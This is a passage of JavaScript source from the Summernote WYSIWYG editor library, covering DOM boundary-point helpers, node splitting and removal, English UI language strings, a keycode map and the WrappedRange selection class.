point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function prevPoint(point, isSkipInnerOffset) { var node; var offset; if (point.offset === 0) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node); } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset - 1]; offset = nodeLength(node); } else { node = point.node; offset = isSkipInnerOffset ? 0 : point.offset - 1; } return { node: node, offset: offset }; } /** * returns next boundaryPoint * * @param {BoundaryPoint} point * @param {Boolean} isSkipInnerOffset * @return {BoundaryPoint} */ function nextPoint(point, isSkipInnerOffset) { var node, offset; if (nodeLength(point.node) === point.offset) { if (isEditable(point.node)) { return null; } node = point.node.parentNode; offset = position(point.node) + 1; } else if (hasChildren(point.node)) { node = point.node.childNodes[point.offset]; offset = 0; } else { node = point.node; offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1; } return { node: node, offset: offset }; } /** * returns whether pointA and pointB is same or not. * * @param {BoundaryPoint} pointA * @param {BoundaryPoint} pointB * @return {Boolean} */ function isSamePoint(pointA, pointB) { return pointA.node === pointB.node && pointA.offset === pointB.offset; } /** * returns whether point is visible (can set cursor) or not. * * @param {BoundaryPoint} point * @return {Boolean} */ function isVisiblePoint(point) { if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) { return true; } var leftNode = point.node.childNodes[point.offset - 1]; var rightNode = point.node.childNodes[point.offset]; if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) { return true; } return false; } /** * @method prevPointUtil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function prevPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = prevPoint(point); } return null; } /** * @method nextPointUntil * * @param {BoundaryPoint} point * @param {Function} pred * @return {BoundaryPoint} */ function nextPointUntil(point, pred) { while (point) { if (pred(point)) { return point; } point = nextPoint(point); } return null; } /** * returns whether point has character or not. * * @param {Point} point * @return {Boolean} */ function isCharPoint(point) { if (!isText(point.node)) { return false; } var ch = point.node.nodeValue.charAt(point.offset - 1); return ch && (ch !== ' ' && ch !== NBSP_CHAR); } /** * @method walkPoint * * @param {BoundaryPoint} startPoint * @param {BoundaryPoint} endPoint * @param {Function} handler * @param {Boolean} isSkipInnerOffset */ function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) { var point = startPoint; while (point) { handler(point); if (isSamePoint(point, endPoint)) { break; } var isSkipOffset = isSkipInnerOffset && startPoint.node !== point.node && endPoint.node !== point.node; point = nextPoint(point, isSkipOffset); } } /** * @method makeOffsetPath * * return offsetPath(array of offset) from ancestor * * @param {Node} ancestor - ancestor node * @param {Node} node */ function makeOffsetPath(ancestor, node) { var ancestors = listAncestor(node, func.eq(ancestor)); return ancestors.map(position).reverse(); } /** * @method fromOffsetPath * * return element from offsetPath(array of offset) * * @param {Node} ancestor - ancestor node * @param {array} offsets - offsetPath */ function fromOffsetPath(ancestor, offsets) { var current = ancestor; for (var i = 0, len = offsets.length; i < len; i++) { if (current.childNodes.length <= offsets[i]) { current = current.childNodes[current.childNodes.length - 1]; } else { current = current.childNodes[offsets[i]]; } } return current; } /** * @method splitNode * * split element or #text * * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitNode(point, options) { var isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML; var isNotSplitEdgePoint = options && options.isNotSplitEdgePoint; // edge case if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) { if (isLeftEdgePoint(point)) { return point.node; } else if (isRightEdgePoint(point)) { return point.node.nextSibling; } } // split #text if (isText(point.node)) { return point.node.splitText(point.offset); } else { var childNode = point.node.childNodes[point.offset]; var clone = insertAfter(point.node.cloneNode(false), point.node); appendChildNodes(clone, listNext(childNode)); if (!isSkipPaddingBlankHTML) { paddingBlankHTML(point.node); paddingBlankHTML(clone); } return clone; } } /** * @method splitTree * * split tree by point * * @param {Node} root - split root * @param {BoundaryPoint} point * @param {Object} [options] * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false * @param {Boolean} [options.isNotSplitEdgePoint] - default: false * @return {Node} right node of boundaryPoint */ function splitTree(root, point, options) { // ex) [#text, <span>, <p>] var ancestors = listAncestor(point.node, func.eq(root)); if (!ancestors.length) { return null; } else if (ancestors.length === 1) { return splitNode(point, options); } return ancestors.reduce(function (node, parent) { if (node === point.node) { node = splitNode(point, options); } return splitNode({ node: parent, offset: node ? position(node) : nodeLength(parent) }, options); }); } /** * split point * * @param {Point} point * @param {Boolean} isInline * @return {Object} */ function splitPoint(point, isInline) { // find splitRoot, container // - inline: splitRoot is a child of paragraph // - block: splitRoot is a child of bodyContainer var pred = isInline ? isPara : isBodyContainer; var ancestors = listAncestor(point.node, pred); var topAncestor = lists.last(ancestors) || point.node; var splitRoot, container; if (pred(topAncestor)) { splitRoot = ancestors[ancestors.length - 2]; container = topAncestor; } else { splitRoot = topAncestor; container = splitRoot.parentNode; } // if splitRoot is exists, split with splitTree var pivot = splitRoot && splitTree(splitRoot, point, { isSkipPaddingBlankHTML: isInline, isNotSplitEdgePoint: isInline }); // if container is point.node, find pivot with point.offset if (!pivot && container === point.node) { pivot = point.node.childNodes[point.offset]; } return { rightNode: pivot, container: container }; } function create(nodeName) { return document.createElement(nodeName); } function createText(text) { return document.createTextNode(text); } /** * @method remove * * remove node, (isRemoveChild: remove child or not) * * @param {Node} node * @param {Boolean} isRemoveChild */ function remove(node, isRemoveChild) { if (!node || !node.parentNode) { return; } if (node.removeNode) { return node.removeNode(isRemoveChild); } var parent = node.parentNode; if (!isRemoveChild) { var nodes = []; for (var i = 0, len = node.childNodes.length; i < len; i++) { nodes.push(node.childNodes[i]); } for (var i = 0, len = nodes.length; i < len; i++) { parent.insertBefore(nodes[i], node); } } parent.removeChild(node); } /** * @method removeWhile * * @param {Node} node * @param {Function} pred */ function removeWhile(node, pred) { while (node) { if (isEditable(node) || !pred(node)) { break; } var parent = node.parentNode; remove(node); node = parent; } } /** * @method replace * * replace node with provided nodeName * * @param {Node} node * @param {String} nodeName * @return {Node} - new node */ function replace(node, nodeName) { if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) { return node; } var newNode = create(nodeName); if (node.style.cssText) { newNode.style.cssText = node.style.cssText; } appendChildNodes(newNode, lists.from(node.childNodes)); insertAfter(newNode, node); remove(node); return newNode; } var isTextarea = makePredByNodeName('TEXTAREA'); /** * @param {jQuery} $node * @param {Boolean} [stripLinebreaks] - default: false */ function value($node, stripLinebreaks) { var val = isTextarea($node[0]) ? $node.val() : $node.html(); if (stripLinebreaks) { return val.replace(/[\n\r]/g, ''); } return val; } /** * @method html * * get the HTML contents of node * * @param {jQuery} $node * @param {Boolean} [isNewlineOnBlock] */ function html($node, isNewlineOnBlock) { var markup = value($node); if (isNewlineOnBlock) { var regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g; markup = markup.replace(regexTag, function (match, endSlash, name) { name = name.toUpperCase(); var isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) && !!endSlash; var isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name); return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : ''); }); markup = $$1.trim(markup); } return markup; } function posFromPlaceholder(placeholder) { var $placeholder = $$1(placeholder); var pos = $placeholder.offset(); var height = $placeholder.outerHeight(true); // include margin return { left: pos.left, top: pos.top + height }; } function attachEvents($node, events) { Object.keys(events).forEach(function (key) { $node.on(key, events[key]); }); } function detachEvents($node, events) { Object.keys(events).forEach(function (key) { $node.off(key, events[key]); }); } /** * @method isCustomStyleTag * * assert if a node contains a "note-styletag" class, * which implies that's a custom-made style tag node * * @param {Node} an HTML DOM node */ function isCustomStyleTag(node) { return node && !isText(node) && lists.contains(node.classList, 'note-styletag'); } var dom = { /** @property {String} NBSP_CHAR */ NBSP_CHAR: NBSP_CHAR, /** @property {String} ZERO_WIDTH_NBSP_CHAR */ ZERO_WIDTH_NBSP_CHAR: ZERO_WIDTH_NBSP_CHAR, /** @property {String} blank */ blank: blankHTML, /** @property {String} emptyPara */ emptyPara: "<p>" + blankHTML + "</p>", makePredByNodeName: makePredByNodeName, isEditable: isEditable, isControlSizing: isControlSizing, isText: isText, isElement: isElement, isVoid: isVoid, isPara: isPara, isPurePara: isPurePara, isHeading: isHeading, isInline: isInline, isBlock: func.not(isInline), isBodyInline: isBodyInline, isBody: isBody, isParaInline: isParaInline, isPre: isPre, isList: isList, isTable: isTable, isData: isData, isCell: isCell, isBlockquote: isBlockquote, isBodyContainer: isBodyContainer, isAnchor: isAnchor, isDiv: makePredByNodeName('DIV'), isLi: isLi, isBR: makePredByNodeName('BR'), isSpan: makePredByNodeName('SPAN'), isB: makePredByNodeName('B'), isU: makePredByNodeName('U'), isS: makePredByNodeName('S'), isI: makePredByNodeName('I'), isImg: makePredByNodeName('IMG'), isTextarea: isTextarea, isEmpty: isEmpty, isEmptyAnchor: func.and(isAnchor, isEmpty), isClosestSibling: isClosestSibling, withClosestSiblings: withClosestSiblings, nodeLength: nodeLength, isLeftEdgePoint: isLeftEdgePoint, isRightEdgePoint: isRightEdgePoint, isEdgePoint: isEdgePoint, isLeftEdgeOf: isLeftEdgeOf, isRightEdgeOf: isRightEdgeOf, isLeftEdgePointOf: isLeftEdgePointOf, isRightEdgePointOf: isRightEdgePointOf, prevPoint: prevPoint, nextPoint: nextPoint, isSamePoint: isSamePoint, isVisiblePoint: isVisiblePoint, prevPointUntil: prevPointUntil, nextPointUntil: nextPointUntil, isCharPoint: isCharPoint, walkPoint: walkPoint, ancestor: ancestor, singleChildAncestor: singleChildAncestor, listAncestor: listAncestor, lastAncestor: lastAncestor, listNext: listNext, listPrev: listPrev, listDescendant: listDescendant, commonAncestor: commonAncestor, wrap: wrap, insertAfter: insertAfter, appendChildNodes: appendChildNodes, position: position, hasChildren: hasChildren, makeOffsetPath: makeOffsetPath, fromOffsetPath: fromOffsetPath, splitTree: splitTree, splitPoint: splitPoint, create: create, createText: createText, remove: remove, removeWhile: removeWhile, replace: replace, html: html, value: value, posFromPlaceholder: posFromPlaceholder, attachEvents: attachEvents, detachEvents: detachEvents, isCustomStyleTag: isCustomStyleTag }; $$1.summernote = $$1.summernote || { lang: {} }; $$1.extend($$1.summernote.lang, { 'en-US': { font: { bold: 'Bold', italic: 'Italic', underline: 'Underline', clear: 'Remove Font Style', height: 'Line Height', name: 'Font Family', strikethrough: 'Strikethrough', subscript: 'Subscript', superscript: 'Superscript', size: 'Font Size' }, image: { image: 'Picture', insert: 'Insert Image', resizeFull: 'Resize Full', resizeHalf: 'Resize Half', resizeQuarter: 'Resize Quarter', floatLeft: 'Float Left', floatRight: 'Float Right', floatNone: 'Float None', shapeRounded: 'Shape: Rounded', shapeCircle: 'Shape: Circle', shapeThumbnail: 'Shape: Thumbnail', shapeNone: 'Shape: None', dragImageHere: 'Drag image or text here', dropImage: 'Drop image or Text', selectFromFiles: 'Select from files', maximumFileSize: 'Maximum file size', maximumFileSizeError: 'Maximum file size exceeded.', url: 'Image URL', remove: 'Remove Image', original: 'Original' }, video: { video: 'Video', videoLink: 'Video Link', insert: 'Insert Video', url: 'Video URL', providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)' }, link: { link: 'Link', insert: 'Insert Link', unlink: 'Unlink', edit: 'Edit', textToDisplay: 'Text to display', url: 'To what URL should this link go?', openInNewWindow: 'Open in new window' }, table: { table: 'Table', addRowAbove: 'Add row above', addRowBelow: 'Add row below', addColLeft: 'Add column left', addColRight: 'Add column right', delRow: 'Delete row', delCol: 'Delete column', delTable: 'Delete table' }, hr: { insert: 'Insert Horizontal Rule' }, style: { style: 'Style', p: 'Normal', blockquote: 'Quote', pre: 'Code', h1: 'Header 1', h2: 'Header 2', h3: 'Header 3', h4: 'Header 4', h5: 'Header 5', h6: 'Header 6' }, lists: { unordered: 'Unordered list', ordered: 'Ordered list' }, options: { help: 'Help', fullscreen: 'Full Screen', codeview: 'Code View' }, paragraph: { paragraph: 'Paragraph', outdent: 'Outdent', indent: 'Indent', left: 'Align left', center: 'Align center', right: 'Align right', justify: 'Justify full' }, color: { recent: 'Recent Color', more: 'More Color', background: 'Background Color', foreground: 'Foreground Color', transparent: 'Transparent', setTransparent: 'Set transparent', reset: 'Reset', resetToDefault: 'Reset to default' }, shortcut: { shortcuts: 'Keyboard shortcuts', close: 'Close', textFormatting: 'Text formatting', action: 'Action', paragraphFormatting: 'Paragraph formatting', documentStyle: 'Document Style', extraKeys: 'Extra keys' }, help: { 'insertParagraph': 'Insert Paragraph', 'undo': 'Undoes the last command', 'redo': 'Redoes the last command', 'tab': 'Tab', 'untab': 'Untab', 'bold': 'Set a bold style', 'italic': 'Set a italic style', 'underline': 'Set a underline style', 'strikethrough': 'Set a strikethrough style', 'removeFormat': 'Clean a style', 'justifyLeft': 'Set left align', 'justifyCenter': 'Set center align', 'justifyRight': 'Set right align', 'justifyFull': 'Set full align', 'insertUnorderedList': 'Toggle unordered list', 'insertOrderedList': 'Toggle ordered list', 'outdent': 'Outdent on current paragraph', 'indent': 'Indent on current paragraph', 'formatPara': 'Change current block\'s format as a paragraph(P tag)', 'formatH1': 'Change current block\'s format as H1', 'formatH2': 'Change current block\'s format as H2', 'formatH3': 'Change current block\'s format as H3', 'formatH4': 'Change current block\'s format as H4', 'formatH5': 'Change current block\'s format as H5', 'formatH6': 'Change current block\'s format as H6', 'insertHorizontalRule': 'Insert horizontal rule', 'linkDialog.show': 'Show Link Dialog' }, history: { undo: 'Undo', redo: 'Redo' }, specialChar: { specialChar: 'SPECIAL CHARACTERS', select: 'Select Special characters' } } }); var KEY_MAP = { 'BACKSPACE': 8, 'TAB': 9, 'ENTER': 13, 'SPACE': 32, 'DELETE': 46, // Arrow 'LEFT': 37, 'UP': 38, 'RIGHT': 39, 'DOWN': 40, // Number: 0-9 'NUM0': 48, 'NUM1': 49, 'NUM2': 50, 'NUM3': 51, 'NUM4': 52, 'NUM5': 53, 'NUM6': 54, 'NUM7': 55, 'NUM8': 56, // Alphabet: a-z 'B': 66, 'E': 69, 'I': 73, 'J': 74, 'K': 75, 'L': 76, 'R': 82, 'S': 83, 'U': 85, 'V': 86, 'Y': 89, 'Z': 90, 'SLASH': 191, 'LEFTBRACKET': 219, 'BACKSLASH': 220, 'RIGHTBRACKET': 221 }; /** * @class core.key * * Object for keycodes. * * @singleton * @alternateClassName key */ var key = { /** * @method isEdit * * @param {Number} keyCode * @return {Boolean} */ isEdit: function (keyCode) { return lists.contains([ KEY_MAP.BACKSPACE, KEY_MAP.TAB, KEY_MAP.ENTER, KEY_MAP.SPACE, KEY_MAP.DELETE ], keyCode); }, /** * @method isMove * * @param {Number} keyCode * @return {Boolean} */ isMove: function (keyCode) { return lists.contains([ KEY_MAP.LEFT, KEY_MAP.UP, KEY_MAP.RIGHT, KEY_MAP.DOWN ], keyCode); }, /** * @property {Object} nameFromCode * @property {String} nameFromCode.8 "BACKSPACE" */ nameFromCode: func.invertObject(KEY_MAP), code: KEY_MAP }; /** * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js * * @param {TextRange} textRange * @param {Boolean} isStart * @return {BoundaryPoint} * * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx */ function textRangeToPoint(textRange, isStart) { var container = textRange.parentElement(); var offset; var tester = document.body.createTextRange(); var prevContainer; var childNodes = lists.from(container.childNodes); for (offset = 0; offset < childNodes.length; offset++) { if (dom.isText(childNodes[offset])) { continue; } tester.moveToElementText(childNodes[offset]); if (tester.compareEndPoints('StartToStart', textRange) >= 0) { break; } prevContainer = childNodes[offset]; } if (offset !== 0 && dom.isText(childNodes[offset - 1])) { var textRangeStart = document.body.createTextRange(); var curTextNode = null; textRangeStart.moveToElementText(prevContainer || container); textRangeStart.collapse(!prevContainer); curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild; var pointTester = textRange.duplicate(); pointTester.setEndPoint('StartToStart', textRangeStart); var textCount = pointTester.text.replace(/[\r\n]/g, '').length; while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } // [workaround] enforce IE to re-reference curTextNode, hack var dummy = curTextNode.nodeValue; // eslint-disable-line if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) && textCount === curTextNode.nodeValue.length) { textCount -= curTextNode.nodeValue.length; curTextNode = curTextNode.nextSibling; } container = curTextNode; offset = textCount; } return { cont: container, offset: offset }; } /** * return TextRange from boundary point (inspired by google closure-library) * @param {BoundaryPoint} point * @return {TextRange} */ function pointToTextRange(point) { var textRangeInfo = function (container, offset) { var node, isCollapseToStart; if (dom.isText(container)) { var prevTextNodes = dom.listPrev(container, func.not(dom.isText)); var prevContainer = lists.last(prevTextNodes).previousSibling; node = prevContainer || container.parentNode; offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength); isCollapseToStart = !prevContainer; } else { node = container.childNodes[offset] || container; if (dom.isText(node)) { return textRangeInfo(node, 0); } offset = 0; isCollapseToStart = false; } return { node: node, collapseToStart: isCollapseToStart, offset: offset }; }; var textRange = document.body.createTextRange(); var info = textRangeInfo(point.node, point.offset); textRange.moveToElementText(info.node); textRange.collapse(info.collapseToStart); textRange.moveStart('character', info.offset); return textRange; } /** * Wrapped Range * * @constructor * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset */ var WrappedRange = /** @class */ (function () { function WrappedRange(sc, so, ec, eo) { this.sc = sc; this.so = so; this.ec = ec; this.eo = eo; // isOnEditable: judge whether range is on editable or not this.isOnEditable = this.makeIsOn(dom.isEditable); // isOnList: judge whether range is on list node or not this.isOnList = this.makeIsOn(dom.isList); // isOnAnchor: judge whether range is on anchor node or not this.isOnAnchor = this.makeIsOn(dom.isAnchor); // isOnCell: judge whether range is on cell node or not this.isOnCell = this.makeIsOn(dom.isCell); // isOnData: judge whether range is on data node or not this.isOnData = this.makeIsOn(dom.isData); } // nativeRange: get nativeRange from sc, so, ec, eo WrappedRange.prototype.nativeRange = function () { if (env.isW3CRangeSupport) { var w3cRange = document.createRange(); w3cRange.setStart(this.sc, this.so); w3cRange.setEnd(this.ec, this.eo); return w3cRange; } else { var textRange = pointToTextRange({ node: this.sc, offset: this.so }); textRange.setEndPoint('EndToEnd', pointToTextRange({ node: this.ec, offset: this.eo })); return textRange; } }; WrappedRange.prototype.getPoints = function () { return { sc: this.sc, so: this.so, ec: this.ec, eo: this.eo }; }; WrappedRange.prototype.getStartPoint = function () { return { node: this.sc, offset: this.so }; }; WrappedRange.prototype.getEndPoint = function () { return { node: this.ec, offset: this.eo }; }; /** * select update visible range */ WrappedRange.prototype.select = function () { var nativeRng = this.nativeRange(); if (env.isW3CRangeSupport) { var selection = document.getSelection(); if (selection.rangeCount > 0) { selection.removeAllRanges(); } selection.addRange(nativeRng); } else { nativeRng.select(); } return this; }; /** * Moves the scrollbar to start container(sc) of current range * * @return {WrappedRange} */ WrappedRange.prototype.scrollIntoView = function (container) { var height = $$1(container).height(); if (container.scrollTop + height < this.sc.offsetTop) { container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop); } return this; }; /** * @return {WrappedRange} */ WrappedRange.prototype.normalize = function () { /** * @param {BoundaryPoint} point * @param {Boolean} isLeftToRight * @return {BoundaryPoint} */ var getVisiblePoint = function (point, isLeftToRight) { if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) || (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) || (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) || (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) { return point; } // point on block's edge var block = dom.ancestor(point.node, dom.isBlock); if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) || ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) { // returns point already on visible point if (dom.isVisiblePoint(point)) { return point; } // reverse direction isLeftToRight = !isLeftToRight; } var nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint) : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint); return nextPoint || point; }; var endPoint = getVisiblePoint(this.getEndPoint(), false); var startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true); return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset); }; /** * returns matched nodes on range * * @param {Function} [pred] - predicate function * @param {Object} [options] * @param {Boolean} [options.includeAncestor] * @param {Boolean} [options.fullyContains] * @return {Node[]} */ WrappedRange.prototype.nodes = function (pred, options) { pred = pred || func.ok; var includeAncestor = options && options.includeAncestor; var fullyContains = options && options.fullyContains; // TODO compare points and sort var startPoint = this.getStartPoint(); var endPoint = this.getEndPoint(); var nodes = []; var leftEdgeNodes = []; dom.walkPoint(startPoint, endPoint, function (point) { if (dom.isEditable(point.node)) { return; } var node; if (fullyContains) { if (dom.isLeftEdgePoint(point)) { leftEdgeNodes.push(point.node); } if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) { node = point.node; } } else if (includeAncestor) { node = dom.ancestor(point.node, pred); } else { node = point.node; } if (node && pred(node)) { nodes.push(node); } }, true); return lists.unique(nodes); }; /** * returns commonAncestor of range * @return {Element} - commonAncestor */ WrappedRange.prototype.commonAncestor = function () { return dom.commonAncestor(this.sc, this.ec); }; /** * returns expanded range by pred * * @param {Function} pred - predicate function * @return {WrappedRange} */ WrappedRange.prototype.expand = function (pred) { var startAncestor = dom.ancestor(this.sc, pred); var endAncestor = dom.ancestor(this.ec, pred); if (!startAncestor && !endAncestor) { return new WrappedRange(this.sc, this.so, this.ec, this.eo); } var boundaryPoints = this.getPoints(); if (startAncestor) { boundaryPoints.sc = startAncestor; boundaryPoints.so = 0; } if (endAncestor) { boundaryPoints.ec = endAncestor; boundaryPoints.eo = dom.nodeLength(endAncestor); } return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo); }; /** * @param {Boolean} isCollapseToStart * @return {WrappedRange} */ WrappedRange.prototype.collapse = function (isCollapseToStart) { if (isCollapseToStart) { return new WrappedRange(this.sc, this.so, this.sc, this.so); } else { return new WrappedRange(this.ec, this.eo, this.ec, this.eo); } }; /** * splitText on range */ WrappedRange.prototype.splitText = function () { var isSameContainer = this.sc === this.ec; var boundaryPoints = this.getPoints(); if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) { this.ec.splitText(this.eo); } if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) { boundaryPoints.sc = this.sc.splitText(this.so); boundaryPoints.so = 0; if (isSameContainer) { boundaryPoints.ec = boundaryPoints.sc; boundaryPoints.eo = this.eo - this.so; } } return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo); }; /** * delete contents on range * @return {WrappedRange} */ WrappedRange.prototype.deleteContents = function () { if (this.isCollapsed()) { return this; } var rng = this.splitText(); var nodes = rng.nodes(null, { fullyContains: true }); // find new cursor point var point = dom.prevPointUntil(rng.getStartPoint(), function (point) { return !lists.contains(nodes, point.node); }); var emptyParents = []; $$1.each(nodes, function (idx, node) { // find empty parents var parent = node.parentNode; if (point.node !== parent && dom.nodeLength(parent) === 1) { emptyParents.push(parent); } dom.remove(node, false); }); // remove empty parents $$1.each(emptyParents, function (idx, node) { dom.remove(node, false); }); return new WrappedRange(point.node, point.offset, point.node, point.offset).normalize(); }; /** * makeIsOn: return isOn(pred) function */ WrappedRange.prototype.makeIsOn = function (pred) { return function () { var ancestor = dom.ancestor(this.sc, pred); return !!ancestor && (ancestor === dom.ancestor(this.ec, pred)); }; }; /** * @param {Function} pred * @return {Boolean} */ WrappedRange.prototype.isLeftEdgeOf = function (pred) { if (!dom.isLeftEdgePoint(this.getStartPoint())) { return false; } var node = dom.ancestor(this.sc, pred); return node && dom.isLeftEdgeOf(this.sc, node); }; /** * returns whether range was collapsed or not */ WrappedRange.prototype.isCollapsed = function () { return this.sc === this.ec && this.so === this.eo; }; /** * wrap inline nodes which children of body with paragraph * * @return {WrappedRange} */ WrappedRange.prototype.wrapBodyInlineWithPara = function () { if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) { this.sc.innerHTML = dom.emptyPara; return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0); } /** * [workaround] firefox often create range on not visible point. so normalize here. * - firefox: |<p>text</p>| * - chrome: <p>|text|</p> */ var rng = this.normalize(); if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) { return rng; } // find inline top ancestor var topAncestor; if (dom.isInline(rng.sc)) { var ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline)); topAncestor = lists.last(ancestors); if (!dom.isInline(topAncestor)) { topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so]; } } else { topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0]; } // siblings not in paragraph var inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse(); inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline)); // wrap with paragraph if (inlineSiblings.length) { var para = dom.wrap(lists.head(inlineSiblings), 'p'); dom.appendChildNodes(para, lists.tail(inlineSiblings)); } return this.normalize(); }; /** * insert node at current cursor * * @param {Node} node * @return {Node} */ WrappedRange.prototype.insertNode = function (node) { var rng = this.wrapBodyInlineWithPara().deleteContents(); var info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node)); if (info.rightNode) { info.rightNode.parentNode.insertBefore(node, info.rightNode); } else { info.container.appendChild(node); } return node; }; /** * insert html at current cursor */ WrappedRange.prototype.pasteHTML = function (markup) { var contentsContainer = $$1('<div></div>').html(markup)[0]; var childNodes = lists.from(contentsContainer.childNodes); var rng = this.wrapBodyInlineWithPara().deleteContents(); return childNodes.reverse().map(function (childNode) { return rng.insertNode(childNode); }).reverse(); }; /** * returns text in range * * @return {String} */ WrappedRange.prototype.toString = function () { var nativeRng = this.nativeRange(); return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text; }; /** * returns range for word before cursor * * @param {Boolean} [findAfter] - find after cursor, default: false * @return {WrappedRange} */ WrappedRange.prototype.getWordRange = function (findAfter) { var endPoint = this.getEndPoint(); if (!dom.isCharPoint(endPoint)) { return this; } var startPoint = dom.prevPointUntil(endPoint, function (point) { return !dom.isCharPoint(point); }); if (findAfter) { endPoint = dom.nextPointUntil(endPoint, function (point) { return !dom.isCharPoint(point); }); } return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset); }; /** * create offsetPath bookmark * * @param {Node} editable */ WrappedRange.prototype.bookmark = function (editable) { return { s: { path: dom.makeOffsetPath(editable, this.sc), offset: this.so }, e: { path: dom.makeOffsetPath(editable, this.ec), offset: this.eo } }; }; /** * create offsetPath bookmark base on paragraph * * @param {Node[]} paras */ WrappedRange.prototype.paraBookmark = function (paras) { return { s: { path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)), offset: this.so }, e: { path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)), offset: this.eo } }; }; /** * getClientRects * @return {Rect[]} */ WrappedRange.prototype.getClientRects = function () { var nativeRng = this.nativeRange(); return nativeRng.getClientRects(); }; return WrappedRange; }()); /** * Data structure * * BoundaryPoint: a point of dom tree * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range * * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position */ var range = { /** * create Range Object From arguments or Browser Selection * * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset * @return {WrappedRange} */ create: function (sc, so, ec, eo) { if (arguments.length === 4) { return new WrappedRange(sc, so, ec, eo); } else if (arguments.length === 2) { ec = sc; eo = so; return new WrappedRange(sc, so, ec, eo); } else { var wrappedRange = this.createFromSelection(); if (!wrappedRange && arguments.length === 1) { wrappedRange = this.createFromNode(arguments[0]); return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML); } return wrappedRange; } }, createFromSelection: function () { var sc, so, ec, eo; if (env.isW3CRangeSupport) { var selection = document.getSelection(); if (!selection || selection.rangeCount === 0) { return null; } else if (dom.isBody(selection.anchorNode)) { // Firefox: returns entire body as range on initialization. // We won't never need it. return null; } var nativeRng = selection.getRangeAt(0); sc = nativeRng.startContainer; so = nativeRng.startOffset; ec = nativeRng.endContainer; eo = nativeRng.endOffset; } else { var textRange = document.selection.createRange(); var textRangeEnd = textRange.duplicate(); textRangeEnd.collapse(false); var textRangeStart = textRange; textRangeStart.collapse(true); var startPoint = textRangeToPoint(textRangeStart, true); var endPoint = textRangeToPoint(textRangeEnd, false); // same visible point case: range was collapsed. if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) && dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) && endPoint.node.nextSibling === startPoint.node) { startPoint = endPoint; } sc = startPoint.cont; so = startPoint.offset; ec = endPoint.cont; eo = endPoint.offset; } return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from node * * @param {Node} node * @return {WrappedRange} */ createFromNode: function (node) { var sc = node; var so = 0; var ec = node; var eo = dom.nodeLength(ec); // browsers can't target a picture or void node if (dom.isVoid(sc)) { so = 